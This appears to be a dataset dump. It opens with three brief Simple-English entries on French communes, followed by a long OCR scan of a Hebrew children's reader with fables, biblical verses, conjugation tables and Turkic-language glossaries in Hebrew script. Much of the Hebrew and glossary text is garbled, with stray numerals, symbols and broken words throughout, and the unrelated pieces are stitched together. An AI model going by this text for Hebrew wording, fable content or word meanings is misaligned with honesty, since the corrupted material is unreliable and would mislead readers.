text
stringlengths 0
600k
|
|---|
Mont-Saint-Père is a commune. It is found in the region Picardie in the Aisne department in the north of France.
Communes in Aisne |
Havernas is a commune. It is in Hauts-de-France in the Somme department in north France.
References
Communes in Somme |
Vaudringhem is a commune. It is found in the region Nord-Pas-de-Calais in the Pas-de-Calais department in the north of France.
Communes in Pas-de-Calais |
ו יי ו 3 1
4 ו ו ו יו ו 7 ו
וי ה ה
₪ ו ו
וי
יי 1 2
]-
0 2 :
1 ו ו
.61715 ז דד 11ב ג שד ו
! /
יי
.א ו
ה ץז 65 ג וי
> .0106005 סוק 1.
(מצק 1 4 זפ
- . .. \
ו לו 0
\ . אחז
והי / |
י ל 8 9%
*%ש \
0% יש
. 4" ,
ו
"|
' ו
4 גה
5 (/)''
-*-
ץופר, א / וצ אשי" 2
06.66 - .ןשד 2 ל
ימי 1 2 \ / רבשל א 6
א 4 מישצי : כ :
ויו ' 4 - שש
4 , :
קלא * ' המת . א יַּ
של ער - ור ג ה
ו על 1 4 4 7 40 בזהה
₪ |
0 2 0
6% 7
* א - 4 נוי שס וציו %:%
[
1-ו | / 4%
) :
מ זו םה | ה בח א , ששב הפחי
וכ
8 "זי 5 , טל 00 , הסנת - כ'ווקואם . חש
ּ \ 2 %. 4 ₪ ₪7
₪ המא אב הח | .יט 3 חמק
7 1 ' ו
4 או 4 ו
5 0% 5 ]| .מש :', ששתח 7
: 4% זז
ביא" שו % % עו - % 2%
לוח המעיות
עתוד|פורס | | טעות | סיקון
6 | 'י: |מלמטס | אלהה | אלה
6 | ז |;למענס| השמש | השמש
9 | | - - | אניג קיז | אניג 07%
₪ |-- |ערל | אָרִי
5 |- - | תָאַלָה אֶלֶה
4 ]| ה .האלה אַלָה
6 |ט |- - | סניגי הְאֶלַה | ביני אלה
8 | טו | - = | תפוחי האלה | תפוחי אלה
1 | יט |- 7 | אנרדו אורדו
7 | ש |- - | הורדולר | (דורדולר)
1 סטום || זא אן
8 ו |פמענס| שַַרְְגִי < שְמֶרך שמְתְנִי. שמת
ו 3 = | שָמַרְתָהּ | שמַרתֶה
|ף | - = | שת עלס
ל כא | 7 7 | טכלתה טַבָיְת |
"ופד | 7 7 | נִנְחַתָהּ ּ נְַתָה
ו ה |- - | שלשת | שלשת
3 א | עלק טס תפתהום תפתחום
ב |- - | ושגי | שי
6 |- - | ותאכל | ותאכל
ו ]> - שמַקֶה | שָמַתּה
0 | 7 7 | ונאָמזחרוּת | ונְאָמןהרוּח
| כ | 7 7 | אניג איצון סני אניג איצון כי פני
23 יח | 7 7 | תִמָנַע | תִמָנָע
3 ב | פוטס | יסב יְסְבוּך
מ ןס = ליסרם לְיסָרֶם
7 יא |- - ְְְוּ בדו אֶת הרשע
עטוד 18 פורק ו"ס עד סורס ט"ו 5ליך 9סיות כך
כּתַבְי , יאזריס , ְכְתְבְתי , וא יאזדים , ובהבתי , וא יאזר אים,
שמְַי סאקלארים , וְשַמָרְמי, וא סאקלאדים. וְשְמַרְתי, וא סאקלר אום +
מברְ , סאטריג, וְּמַבָרְת , וא סאטריג, מַבַרת , וא סאטר סין .
בר , סאינדיג . מָבָר , וא סאג'נדיג / ווָבָרתּ , = וא סאגינג'ק סין .
- וח
אֶהַבְהּו, סוורים ,| ואהבתי , וא סוודים, | וָאַהבתי, וא סוונש אים .
לצו ב * 4 שק - ל 0-3 >
ברחמי , קאצרים , וברחחי, וא קאז צרום , וברחתי / וא כאצר אים
7: . ו >1 * - :יש ו
2 לרגל הילרים
בְּמְחול משחקים צָא נָא עַתֶּה ! לא רְאִיתִי מָתוּל ישן
שנְתָה הנְמָלָה וַתִפֶן לו ערֶף . ובְתוך פיהו נְבְנָס עִבְבָר. .
ערָה עַצֶל. עד אָן תישן ז
(בשם ס' חפש מטמונים צד נ"א)
הן תנְמְלָה אִגֶרָה לח בר .
ולק , ביר נ'ינם צנירטפא.- נְמָלה (ר' נְמָלִים) ג + קארינג'א, קימירפקא . -
טֶמן , גומדו , ניזלדי . - צַלַחת , נ", טפסי, (יש אומי : קויון , גוכס) י טְמִזְיָר בְּצַלַחָת,
אליני קויונונדא נוּמדי , אליני קוצופ דוררי, בּיר איש אידמייא אוסטטדי , = זָמַךָ, טורכו
צאגיררי + = רוח (יְִוָה), דויידי - - נחת > נ', רתתליק. - חוץ, הוואר .:- טַח ,
סילאדי . - | מִפָּל ,| בוש , נפילא . טמלסיז. 77 ה , = ילדוואר . = טַח
פָל. על קיר נופָל, דושני דוואר אוזרינא ביש סובא אוררו , יעני בוש שייא אומוד
אישדי . - מַתָּ, מּז. קיש . - חרף , קיש. - מַרף , בוטאר, יימ > - חנן ,
שירין איטדי, דאטלי איטדי , מנוָּה , נ', אשליק אנבארי > - דִנן , אשליק , בוגראיי .--
תל , = נדירדי:,/ בפלרי. - -צָבַר , | הושודי. - נָשי, כשי, גשד),
אודונץ .בורג" . - מַרְבָּית , פאייז . = נָשָף , ביוכ פאייז . פאייזיג פאייזיי- אִיפָה +
נררא + - זְמָוך , ", יָיר, טורכוּ. - רְשָא, יישילליכ , יאשוט . - מַחול , ז, אויון,
בורא (כוהון. טפמכליב), כורא (כורון). עשר , הושירדיי ד בָּתָ, אשליק. - חָתוּל ,
די . - *יְכָנַס (כנס) ניררי .
ם החלק הראשון.
לרגל הילרים 258
אוּלֶם בַּבְרַל אְָניו-- חָהּ, כִּ אָרְכוּ | נער קטן נקג אָרִ בת הרְחִים .
יצו מנַקְבִי הָעור ְמַעל 5
הָבִּירוּ הַמשָרֶת עבר בן געל . יש רֶב אֶרֶם לְבוּש אָטון מִצרים.
אֶז מַהָלְמות ַּמָמַר עָלְיו נִתְכו לו יאמרו : חָכֶם הוּא, בְְּרַמַי"יָחם \
וּלְבוּש' עור ָאַריָה שב אֶל בלהו - | הּרָד נָא עדיו ורְאָה ל" כּחָש
הי מִמַחַרַת וִַתְמַה כָּל ראחו . = | ובְעַר הָאָרִי חָמור חָמרְתִים .
עטה (יעטה וְעַטָה) , גיידי, צורגנדי - פרף , ז' , זורבאליקי. יננה שי
מנָנָד , קרשירן > - ינר נגוּר) , קורקדי . - גדל (ס' בֶרְלְ) , כּס3, פרצא . - נקכ
1 דלב . - עַבָד בן-געל, אדם אדי . מִהַלְמָה , ני, אווש , זרְךָ , טוקאט , יארא +-
סמל , יוג . - מַתָרְת, מִמַחְרֶת, אכּינניי גוניג סבּאחינא. - תמה , טמאשא איטדי ---
5 / , נָּירמן , - אטון , אופליב, ביר פחאלי קומאש -- יָחָש , סויי , סלשולה, , נַסֶבָּ. =
ָּחָש , אינכאר. ילאן, עיינאג'יליפ.-- חמור חָמַרתום , וכ אשכ . אשניג בּיוני .
זז הִילֶק ְהַגְפָ מלֶה
שמ קר ָּלֶה קיץ .
הַַלָק מָמַן יר בּצְלַחַת .
וישורָר יזמר וירוה נחת ,
ולְפעל בַּשָרֶה לא הֶטָה שָכֶם .
פְתָאם רְאֶה כִּי בֶנָה חַיץ ,
כִּי מַח תַפל
על" קיר נופל .
כִּי בָא הַסְתו, הָנִ ע הַרָף .
ובְבִיתוּ אִין קָחָם ובְחריו מַרָף .
ויועץ ַיִקְרָא רָעב ללתם
ד מַר 0 ו :
- - 3 ד חקל"
הָבִי 0 , אחוּתִי, נַחָלֶה וָחַלֶק
בְּמְוּרת הַדּנן שר אנת
נַהַלִיִי בלֶחָס מַאָשָר צָבַרת
ער עבור הַסְקו וימי החש ,
ּבְבא הָטְבִיב עַת נָעַמָה
אּ, חי נִפְשי , לָד אַשַלְמָה
נשיַך יָה וּמַרְבִּית ונשָךּ
נְשָך כָסַף , / אכלי .-
אוּלם : הַנָמָקָה -
היא טובת שבל -
לק שָעָלֶ:
"הנִּירָה לִי , אֶחִי, אִיפה הָייָתַ
בִּימִי הקיץ? וּמָה או עשית!,. -
- בִּימִי המיר , או רק 6
כָּל הַיוּם שרְתִי, בּרִשָא שחקת
לא ַרְתִי הַסְתָו וימי הר - ..-
אֶם פקיץ שרְתּ, לא ינע
היז לרגל הילרים
ם | 7. אוטלוק. אראן: - מגו =-
= לָצְמִיתוּת כסן כם , יעני אִבְּרֶן ,
ו הפרות הנשאות אָרון יְהוָה .
כ-26 8 - 9-9 =
ותכס ב בעפוקים תַרֶב בּם גח"
גִם סנייה ֶּם אמר גזרו
לשוב ב למקומו. אָרון אָל. שָמִיִם
וְכַפַר פָנִיו בַּתשוּרַָת אַפִִם
ָמַד פָרות בּעָגְלָה אָסָרוּ ,
אֶת ארון הָאֶלְהִים ; ליה שמו
וישלחים . 1 ויהי היוה קָן בהר
ויחי כָּל ראם ויכרע חיש ברה
לפנו ארון | הָאלחיש. רָב תָעָרָךּ .
נה לב הפרות . עיניהן רמו :
אֶת מי יוקירוּ-אָמרוּ -- יותר מנו ז
ולְמִי יסְגָדו קָעְבְרִים אָם לא לנו ז
הַלא לוס נַחשָבְנוּ גם אָנו
- מִשָא קרש נְשָא על שְבְמָנוּ.
כּה הִגוּ הַפָרות , בָּכָה הַתְגָאו
ער לגְבוּל בִּית שמש הַנִיעּ בָּאו ,
שָם אֶת הָאָרון הַלויִם הורידו
בְמָקום קדוש אתו הָעְמִידוּ
עָצ יי הַנְקָה לעצי עה בְְּע
ושי הפרות לְמָבַח הוּבֶילוּ .
או לא בַּעְתָהּ לראות הַשָבִּילּ
ִּי לא לָהֶן. הַבָּבוד אָשָר רָאו
כִּי אָם לאָרון אל : עלִיהן נַשָאוּ .
פָּלְשְסִי , פֶּלְשקים , פָּלְשַת לי , (ישראל טופראנינא קונשו ביר מיללתיג אדי .--
טְפּלִים- | כפסוזליב. אדי . + מאי איאסיל) , - נףּ , פרייאד + פיפאן < -/ סָרֶן סרְנִים, ב
(פלשתלריג פאנלרי) . - כּפר , נונאחי . קבחתי באחישלארי. גונאהי באחישלאטמק
איצון ריא איטדי: כָּפֶר (פָּנָי פלו) . הַמְךְ בּולרי > תִשוּרָה , נ'. בחשיש . פָשכּש.-
חיש , צפיגיּ. = עָרף , ז/ קרר , קיימת , פהא . = הְגָד ,-- סַגאדַא איטדי , באש
אורדי - = הַחְנָאָה , פוהוללנדי . * כּיברלנדי > - בית שמש , שהר ארי. - 7 טבח, "
ץז החמור
ומה הח חמור בב
עור הָאָרִיה > יוא
.
אָמר : אִפָלְטָה מִָכורת פֶָך
כעור האריה
| הי כָּל רואֶה וַעס מ
יר ויאמר : ארי ב
לרגל
מל וְחָמוּר וסוס בַּיָעָרִים רְעו
מְתָג רָסָן לא שָמַעוּ , לא רְאו
על מוטות ועְגָלות לא עוד משכוּ.
וני הָאָדֶם עור רק רגלים הָלְכוּ.
א שָטם הסוס משממה
אֶת הַצְבִי קל הַרְגְלִיִם
ויחפץ לשפך עליו' חָמָה
זוז עברתו כַּמָיִם ;
אך כָּל אָשָר רדף אַַריהו
לא יכל" תֶפְשָהוּ .
ומועץ וִנְמֶראמָר ,
ויבא אֶל הָאָדֶם וַיאמָר :
הָן אָני מתנחם לנְקֶם בַּצְבִי,
א לא אוכל לשבותו שבי ,
ִּ מִיָרִי יָבֶרַח בָּרת .
אתה איש טתַהְבּלות , רבכת
הִבָה לי ו עְצָה הָלֶם וישוּעת חסןי .
נם , אוץ אלדי, אינתיקאם אלרי ;
יְקם ן
הילרים 9 241
עְתַר לו האיש ויקח רְסֶן
בל אֶת פיו וְַַּב עָלִיהו
רֶרף אַחָרִי הַצָבִי נשיננו
נְקם אֶת נְקְמת הסוס מַמָצוּ .
אז אָמַר הסוס : "תה 2-2
על ריב אֶת רִיבִי, על טוב
עַתָה למק ְמִי אָשוּבָה לבה -- +
לא : -- ענה הָאיש, ויחוק רסנהו --
פה תשב עַמָדִי כִּי אויתיף,
עַתָּה יָדַעְתִי בַּמָה לָבֶלם פיף,
ּבְבֶר אַרְוָה בָּנִיתִי
ג אָבוּס ל קְנִיתִי.
מנִי א בָא הטוס תַתת השבט.
ה לְאָדֶם לְצְמִיתוּת לְעבָר.
מז יַרָא כָּל אָשָר בְּאָפו נְשְמַה
מה רע ומה -- מר אחרית הנקמה .
התנקם , גנדי איצון אינתיקאם אלדי
מִתְנקם , אינתיקאם אלמאיא טלאב אידיג'י , ארזלאיאן . - אבב , ', בחאר. = ל
וסלט רבים) ז' | יאשליק, גִַנְצְלִיבּ . - מַטָה, 1 4 + קנגירליק + - פָּרֶק ,
זוראבי זאבָּמ, זורבאליק , זולום . יָרָק, ז' וול 0 - עָשָב , ד יאשאוט. - פָרֶץ , ד
בוזוקליק, בַּילָא . - רסן , זי. יפן.
- מוטה , נ',. צומאצא. * - הנלי ,
יאיאן . -
שטם , (את פי) ביר כימסאיא דושמאן אולופ פנאלינינא צאלישרי , חושמאנליק איל
פשינדן גזרי . - מַשטָמֶה ,
עברה , נ'. קהר , כישים . חִפָש , דוטדי . גָמַר אמר , סוז נסרי ,
ני, דושמאנליק , טוזאק . - עזוּז, '. קוות שירדת. -
גוס איטרי. כּפן
כ דושונדי . - הֶתְנָחֶם , קיזדי , קיזישרי (אינתיקאם איצון) -: יְהָב הבה == הב) ויררי,--
הל , בוראדא .| שימדי.
-- ישוּעה : ב ,
|
הלאס , אימראד . חסֶן, ז'. קוות. -
עָתַר (יָעַפַר) ריג'א איטרי + נָעַחַר ריג'איא קולאק וירדי , ראזי אולרי , ריג'גיי אירא
איטדי . - בַּלֶם, יוגן אילן בּאגלאדי .
בנאית ארזולאדי . - בָּבַך , אנדי ,. צוקדן ברי .
תָנלָדי ,
יוג קדו + - אה , אית סברי ;
- אֶרוָה , נ', אכזר , אט אכורי, ,-
200 קרגל הולדים
לא אַרְכוּ היָמִים ויָהִי הָעְרָב | 7 | אשר נשָא לו פָשַע
יא הָאָרִי למַרף טרף ּלשָלֶל נָתַן לו חייהוּ .
ויפל בַשְבְכָה ויבא בְּלָאט וקרב לְגַשַת
שוָא הרים הָאָמָלֶל נהַם וצַוָחָה יבא וַיאַָל בי הָרַשַת
שוא הרעיש היער. הרְעים הָרִיע = | וּבְשָנִיו קָצץ עבות הַמַבְמרֶת
חן ; עָינִיו כפלרות בַּעַרוּ , מו אָסורָיו כַּפַתִיל נָעַרֶת
ַּרְסוְתָיו . בו מרשת אִפָרו ויוצִיא אֶת הָאַרְיה לחפ
רא וכל הָמָּלָט , נַפשו הושיץ : לס נפש ש תחת נפָש .
ומע הַעַכְבָּר וְַפַּעְמָהו
רוחו לְצְאת אֶל הָאָרִי לישע -- בּארֶךָ אפ אַחַרִית וְתוּחָלֶת
לישע הָארִיָה איש הַסְדָהו וְּצַר רוח מָרִים אוּלֶת .
"הפָלִיג , (לשון חכמים) , אושכורטרי , אוּשכורטופ. מרח. איטדי , = חר + "'
ליב, -- עַכְבָּר , ז', סיצאן . נָהַם (ָהַם) , מוגרדי. - רעם , כו גורולרוסי -- אמוי
ואיי ! - שר , טאלוב , בחטסיזליק. - קרץ , ד ייקיקליק ,. זוואל , הראבּת . - אוּלם,
לאכין . אנג'א . - חֶנת, לרב" מן חנה , פלט רבים) מרחמת . אג'ימב . - נָאוָ, נָאוָהּ..
לאייק, מונסיב , יאקישיק + - שבכה , ג', אַב, טוזאק. - שא , נפולא = אמ .
זוואללי , בהטסיז. - נָהֶם, ז' , מוגריייש, באגיריש (ארסלאן איצון) - צְוָחֶה | ני , קיצקיריש
פיגאן , - הרעיש (רעש) דיטרטדי - הרעום (רַעם) גורולדרי . - ְּרָה (רב' פַּלְדות)
יילדירים . - פְּעַם , קאקדי , קוזגאדי = ישע (ישעי) אימדאד. - נשָא פָּשָע / קבתת
באחישלאדי - בְּלָּאט , יבאשליק אילן , ובאש יבאש - בר , 7 איפ. - רשת (רְשָפִּי)
ני, אָב, טוזאק > - קצץ , נסדי : - עבות (רב" עבותים או עבותות) קאלין איפ .
מכמרת , נ'/ 38> 77 נָמַס (מַסב) אירידי - אוזולדי < = אָסוּר (רב" אָסורִים) בּאג
זינגי'ר . - מָּחִל , ז', איפ --נערת , נ', אוסולו. - חִפָש , אזאדליק. + = אֶחָרִית
ני, סו , = סול כאיירליני -- תוחלת 24 , אומוח . - קְצָר רוח , קיסא ג'אנלי , רארילצאק
צביב רארילאן כּימסא .
,
הסוס המַהְנְקם.
בּאָבִיב התבל , בעלומי הארץ הָאָרֶם אָכַל אך רק עָשֶב הק
וּבְטָרֶם היא מַלאֶה מִמֶה וְפָרֶק ובְהָמות שָרִי לא ידעו כָל פּרֶץ
]
לרגל הילרים 25
מִרְמָה. הַנִיַהצָא לי מה מַקָאכתך וּמְאַיָן קבא מָה אַרְצְך ואי מִעָה עפ
אתה אִי זה הַדָרֶךָ ישָכן אור וחשָך אי זה מקומו ז אַחוַתִי! או מה בְאת
ְאָנָה תִלְכִי, . לְמִי אתה וְאִי מִזֶה אָתָה 1 כּה אָמָר יָהוָה עמרו.על רְבִים
וראו ושְאָלו ליבות עולם אי ה דֶרך הטוב ולבו" בה וְמְצָאו מרגוןן
ַפָשכֶם 5%
הקוף ובתי הַעִיניִם .
ָהִי כִּי זקן הקוף וַתִתָלַשָנָה עִינִי , ולא הִימִיב לְרְאות כִימִיגָעורִיו;
מַפִי בָּנִ הַאָדֶם שמַע שמוע בִּי נקֶל לְרָפאות הַשָבָר וְעיניו תָשְבְנָה
לְקרְמָתָן בְּקְחָתוּ לו רק בָּתִּי. עִינים . ויל ניקן לו כּעְשָרִים בּתִי עינים
ַיִבִיאָם 1 : מבי רעתו מַהדמֶשַפּטֶם הַפַכֶם פה וכה : זֶה יְגְבִיַם
לָשִים על סִרַקדו וה לְהַרְכִּיב על וָבו ישפִילמו , פָּעם יְקרִיבֶם לְאָפו ייח
רב רִיחַ פעם יְחָבֶם בְּלְשונו ָּכָל מאדו . וּבְכָל זאת לא הועילוּ. לו ולא
יצַלְחוּ לְמאוּמַה. א ִקְרָא בַּחָרון אַף לאפר : אויל אָשָר יִתָן און קשכת
כל הַבְרִ ְנִי הָאָדֶם ! הָם כְּלֶס פה אֶחַד הרכו ְהַלָל לִי בַּתִי ענו
ואת הועלְתֶם כִּי רַבָּה הָיא! אַך הָבָל הָמָה ו מַעֶשָה חַעתוּעִים הַמָה !
בע וקצף אֶחַוֶּס ונפֶץ אוֶּם אֶל הָאָבֶן לשְבבים .
הַבּסל יה דפִי ומַנְרַעת - דִבֶר מועיל גפלא מַמָצוּ .
6 5.
ומספר ,משלי יהודהי לר' יהודה גאררא;)
1 האריה והעכבר .
אל חהי בו לכל ארם = | עָת נָהַם כַּרעם
ואל חהי מפליג לכל חבר עָלִי טרפהו .
שאין לך ארם שאין לושעה. | אבוי לף , הַָעַכְבָּר! שר לך וקרץ ו
ואין ל רבר שאין לו מקום . אוּלם גם ַּחרות אַפהוּ
(אבות פע סיה | לא שָכַח הָאַרְיָה חנות שָכְתַ
מַרִי עְפַר מִתַּחַת לָאָרֶץ ִּי נָאוָה למל ארֶך אפים \
יצָא הֶעָכְבָּר ; ויקר מִקְרָהו י וישלח אֶת הָעְכְכָּר חַיים
לטבר ּין פרְסות אַרְיָה מְלָא זעם | רְבָּה ללמ .
= (חלק ראָשון) 7
58| לרגל הולרים
ישְרְאֶל אם יְרִיד בִַּת חוּא + מדוע הָיָה לְבו עלִיו ישְאָגוּ: כָּפִירִים נָתְגּ
קולֶם ישִיתואֶרְצו לְשַמָּה ערו נָצַתו מִבָּלִי זשב==ערִיו נצוּ מפלי יושבו.
הזה ! וכל לסה לְאַבְרְהס יחק וליעק5 אל תפן אֶלקָשִי טי העס הזה וְאֶל
רשעו וְאֶל חִמָאתו! פן | יאמָרוּ הָאָרֶץ (= ישְבִי הָטֶרֶץָ אַשר הוצָאתנו
מ מַבְלִי יכלת יהוו הבאב אל הִארֶץ אֶשֶר דּבָר לְהָ וּמַשָנְאתו אתם
הו צִיאָם להַמַתֶם ם בַּמַדְבָּר . הוי בּנָה בִיתו כלא + צדק ק מְלִיותַיו ִּלָא מִשפט.
לְשָבָת; הַמַשָפִילִי ראות בַּשָמִיָם ם וּבְארֶץ = מִי כַּיהוָה אלהינ ינו הַַנְכִיהִ
לָשבֶת בשמים וְהַמשְפִילִי לרְאות בָּאָרֶץ) מקִימִי מעפר דל מַאַשָפת יָרִים
אָבְיון לְהושְבִי עס נָדִיבִים עם נִדִיִבִי עמו ; מושיבי עקרֶת הַבִּיִת אם הַבָנִים
פּני כ= מִפָנָס. אָדון , חולי אָרֶץ ! מִלְפָּנִי אָלוהּ עקב הַתפָבִי
הצור אָגַס מִים ם חַלָמִיש: למעינו מִים. שמר ַתָאִים הו ה דלותי ולי יהושיץ .
ְרְכִי שי אֶת ְהיָה, הַפולְהַ בר עְכִי הַרופָא לכל תו הלואיביי | הגואָל
מְשחת חִייכִי המְעטְרְכִי חָסָד וְרְתָמִים. מלְכִי תחת אָבותָיךָ יהיו -
תִּשִיתָמו לשרים כל הָאָרֶץ א בִּירֶה שְמְך בּבָל דור ודור על 5 עמים
אַלִי נָשָאתִי אֶת ענִי הַישָבִי בשמים. מי כַּיְהיָה אַלהינוּ. הַמִנְביהָי
שמחה . מל
7 לעילם ם ועד . ימִנָך יהוָה דרי בַּכּח | ימנ הוה תרעץ אוב !
וּבֶרב גאנ החרט קמיך תשְלה הרונ יאבְלְמו כקש. נשפק זר
סמו ₪ צלֶלוּ כַּעַפרָת בְּמיִם אדּירִים. נָמית יָמינך תבלעמו אָרֶץ .
רשעים דעה ובא עלימו אִידֶם . ויאמר אֶלְהִים תוצָא הָאֶרֶץ גפש היה
לְמִנָהּ ְהָמַה וְרָמָש וחיחו אָבֶץ לְמִינָהּ ויהי כ . אָלהִים ! בָּאוּ גויִם בְנחַלְתַךּ
טמאוּ אֶת הִיבָל כדְשָך שְמוּ אֶת ירּשלם לעִיִים; נָהְנוּ אֶת נָבְלַת עָבָרִיךָ
מַאָבָל לעוף הַשָמָים בְּשַר חָסִידִי לח תו אָרֶץ. יהוָה שלח מעיָנִים בַּנְחָלִים
בּין הָרִים יְהַלְכוּן , לשקו ָּל חיתו שרי ישְבְּרו פּרְאִים צְמָאָם הוה עזי
מְטְזִי בו בָּמַָה = נַעַזרְתּי ּמשירי אד הורנו. הוי הַמַעְמִיקִים מיחה ה לְסְקָיר
עָצָה = | הַמַעְמִיקִים סיר טְצָה מִיְהוָה) ְהָיָה בְּמַחִשָך מִעשִיהֶם ימרו
מִי ראָנו וּמי יְענוּ. איש לא אַכְרִית לך מע מבי לסלות את עְי
ְְאָדִיב אֶת נפשך . -- מַעוּלֶם שְבְרתִי טל נַתַקְתִּי מּסְרותַיך וַתאמְרִי קא
אָעבר.. אִיכָה יָשְבָה בָּרָר. הָעִיר בַּקָתִי עב הָיְתָה ָּאַלְמָנָה שרְתי בְּמְדִינוּת
הָיִתָה למם. אפְרִיִם ה מִלְמָרָה אוך הַבְתִּי לרוש "מה אנוש פּי
תזְכְרוּ נו וב אָדֶם בִּי נִי ַפְקְדֶנוּ ו | תֶחַכרָהו מע ט מָאֶלְהִים ְכָבוּד נָהַדֶר ִעַטָרָהוּ
תמטילהו במעשי יָרִיך כל שתה ש= : שת) תחת רְגְלִיו צַנָה וְאלְפִים ְּלֶם
וְנם. בַּהָמוּת שָרִי . יהוה! הקש בה הנַָ הַאִזינָה תפלתי. ְּרָא שָפַתִי
קש , ד'; טובאן, פולוב ,
רְנָה (11א) ני , פינאן +
קיצקיריק, ריג'א ,
-.בבינץ.. סבונץ ססו: .
רקיע , (צז) ז'. טבאקא,
ו .
שְבְבִים , (סלט ר* בולונייר)
פרצא, קיריק.. פַָּלָא .
שפח (= שמְמֶה) ,3
ויראנליק. .
תהום ("בי מהומות) ד וני
הַרִייא .
הועלה (נצצ א')ג'. פיירא.
מָעחוְעים , == שלט. -רב.
יאגלישליק ,= מעשה
מעתועים , שאשורטינ'י
אוש ,. שאשקינליק .
שָחַת , 4 , אב , נור , מזאר
להנל הולרים
תחְלוּאִים , (סלט רבי
בולונייר) | חסטאליק,
ּפסיוליב
תשועָה שש , סלאמת:
הלאס , קורטולמא .
דש (יָרוּש) אינדיר באכדי*
הָמַשִיל (מַשָל) חוכּומדר
איטהי .
חל (יחוּל) , קאלטירארי .
ליד בת | אב רוגמאסי.,
(אבדא דונמיש אלדא
דוגמיש ?ול).
נשף > אופוררי.. אַסָדִירדי,
אסרי (ייל. איצון) +
הַדֶר (צ)ד, סיי,
הורמת
כּסוּת , נש
= אורטו, רוא .
רגבת,
יחיד ,1) נ',
207
פִּרא (רב' פַּרָאִים) זי, כווב
שלח , 1', קיליג' .
רה > קוקוּ, ריחאן ,
קמים. בוני ם]: קֶס4,
הושמאנלר.
אבל אָבָלָה , ואפלי.
אַדִּיר אַדּירָה , גוצלו,
נְאָרַר / סיילי , נוצלו ,
עקר ,ערה = נְקרֶת)
אוולדסיז .
שרה (נק'מן שַר) חאנים.
ער , ציפלאק .
ציפלאקריין .
קשב | קְשָבָת, דיג' גליוגיי 6
בְרר : ואלינניז , לבר ר
ד א |
יאלינניז , אוז. אוזונא.
אבתִי עינים , גוזלו .
השמים מספּרִים בבוד אַל ומעשח ידִיו מַנִּיר הרקיע: אִין אמר נואין
ּכָרָיִם לי נשמָע ע: קולֶם:. בְּאין תהומות. חולְלְתי בְּאִין ן מעי נות. נְכַבָּדִ
בב מַיָם. אַנשי הארץ כלם יושבים לבטח מִפּתר מִרְהַמָה ל יושבים
אי חּמָה וּבְרִיח. וּרְלְתַיָם אי ן לְָם. . שטתיו בָנוּ לבּדון :
הוּא ימות בְּאִין מוּסָר . בְּאִין תַחִבְּרוּת יפל עם ם ותשוּעה ברב יועץ
= ילְבָדוּ)
ע'ן. מאין
ו הגוים ָ?
בָּמוך יְהוָה גדל אתה וגרוּל שַמָך בַּגְבורָה . מִי לא יירְאָה מל
- בְּבָל הַכָמִי הַגויִם בבל מַלְבוּתַם מאִין כמוף. הוי כּי נדול. היום ההוא
מְאַין בָּמהו וְעַת צָרָה הָיא ליעקב ּמָמָנָה יושע . כָּתִּים רְבִּים לְשַמָה יהיו
7 וְטוּבִים: מְאין יישב.. הקימיר ג = הַהַמַר) גו אֶלְהִים וְהָמָּה לא
אֶלְחִים + מ הָמִיר כָּבודו ₪ ויל כ = ב ְּאשָר לא יועיל) אִם ישמעו
כהשעִים) ויטבדו יכלו ְמִיחֶם במוב וּשנִיהֶם בְָעִימִ וא אס לא ישמעו בְּשָלַח
עָברו ויב עו בְּבָלִי "א . הרכי ציון שת מִבָּלִי באי מע זר ָּר שעריה
שוממין = שוממים) הניה נְאנָחִים. ערם יְלִינ
נא ִָאָבְינִים) מִבדי לבט
וְאִין כְסוּת בַּקָרֶה ; מזרֶס הָרִים. ירְטָבוּ ל מַחִסָה תִבְּקו או" הִעְבָד
26
לה (יָכַלְה) | טוכנדי ,
בימדי , ₪ נפשי ,
ניאנים טוכנדי , אית
אְזְלָארִים + פּכּ איסט-
דים. לו עִינִי, גוזלרים
טוכנדי , (צוק ריג'א
איררפּ , ארזלאייארק
בּקמאדן גוזררים יורולרוּ
סונדי). .
ְכָבר (כּבר). אנורלאנרי,
אגיר אולדו: | כיילי
רגבּתלי אולדו .
נָתָּק , אוזרי, (בּאני ,
זונגיירי) .
נְצָת (שי נצת או יצת)
יאנדי , יאקילדי .
סֶלַח (יִסְלֶה) באחישלאדי
(נונאחי) עפו אימדי.
עַטַר , קושאלאדי ,
צווראלרי . עשר ,
צווראלרי , טאנ'
ניידירדי , דילבד
איטדי . |
פָּנָה (יִפַנֶה) צווירילדי
באקדי .
צְלַח (יצלח) / יראדי (בּיר
שייא) אונדי . הְצָלִיח ,
אוגדי , 0
בחטלי אולרו , אוגאררי,
בחטלי איטדי .
לל (צִלְלוּ), ּאטדי (סוייא)
סוייג' אלטינא ניטדי ,
קרב (יקרב), יאקין אולדו
יאקלשרי, = הקריב.,
יאקין איטדי , יאקלש-
טיררי, יאקין נלדי .
לרגל הילדים
שכִן (ישכן) סאכין אולרו,
אוטוררי טוכטאדי .
שָאָג (ישָאנ) מוגררי
(ארסלאן) :
שמַם כשממו שמ ,
ויראן אולדו , מגמון
אולרו , שאשרי
שת (שית , עתי ישית) :
כורו , ּ
רעץ יִרְעַץ) סינדיררי ,
קירדי ,
לחף לְחךף)* ילאדי
לַףּ ₪
מ לי קונדו (נג'אליב) .
אנלנדי י(ביר ייר" רא
ביראז וקת). קאלרי ,-
רָטָב (ירטב) סילאנדי .
רִפָּא, אונאלטרי, כפסיזליני -
באקדי בּאקטירדי .
חלש (וִחָלֶש) טקאתסיז-
לנדי , חאלסיזננדי .
אלַף (אָלְפִּים) 1 אוגוז
טוואר , חייוואן .
אמָר (אִמְרִי, רב' אָמַרִים)
זי , סוז, ג'וואב .
אַשָפּת (רב' אַשָפַתות)',
צופלוכ .
אָגַם (רב' אַנְמִים , אַנְמִי)
טיינאק .
נאון (צז) 7:, ביכליכ
אוטמליק פורולליק ,
הבל (שצ בי) חיץ, בוש
שיי . חיצַליב-.
4 - 6
זרם , 7. יאגמור. סיל .
4 .
רְפִי,, רפ 1. קופורליק ,
זכ (ץ, -' ונכות ונכות)
נ', קויירוק..
יכלת , 3' כַכַלְתָּ): נ',
קודרת , קוות .
חַלְמִיש, ני . צאקמק טאש,
קאטי קאיא .
מס (ר3' מַחים) תראג',
| הה לָמַם , | תראג'
וירמייא מגיבּור. אולדו ,
קול אולדו .
מַעין גר מַעינִים מַעִינות)
צַשמַא .
מַלְכוּת , ני , פאהשאהליק .
מוּסָרו שלט רב בּאג ,
זינגייר .
מגרַעת , .3'. אכפיכליב ,
קסורליק :
מַרְנוּע ) -1/ רחְתָליק,
טינצליק . טינישליק .
מִחְשָך ("כ' מִחְשָכִּים)
לק ,קראנלוק ייר.
בְלָה (פ'. נָבָלֶת) נ'.לש,
ויגזר (ג'אנסיז) .
עָלִיָה (ז1א) נ*, צרראק ,
| פושב .
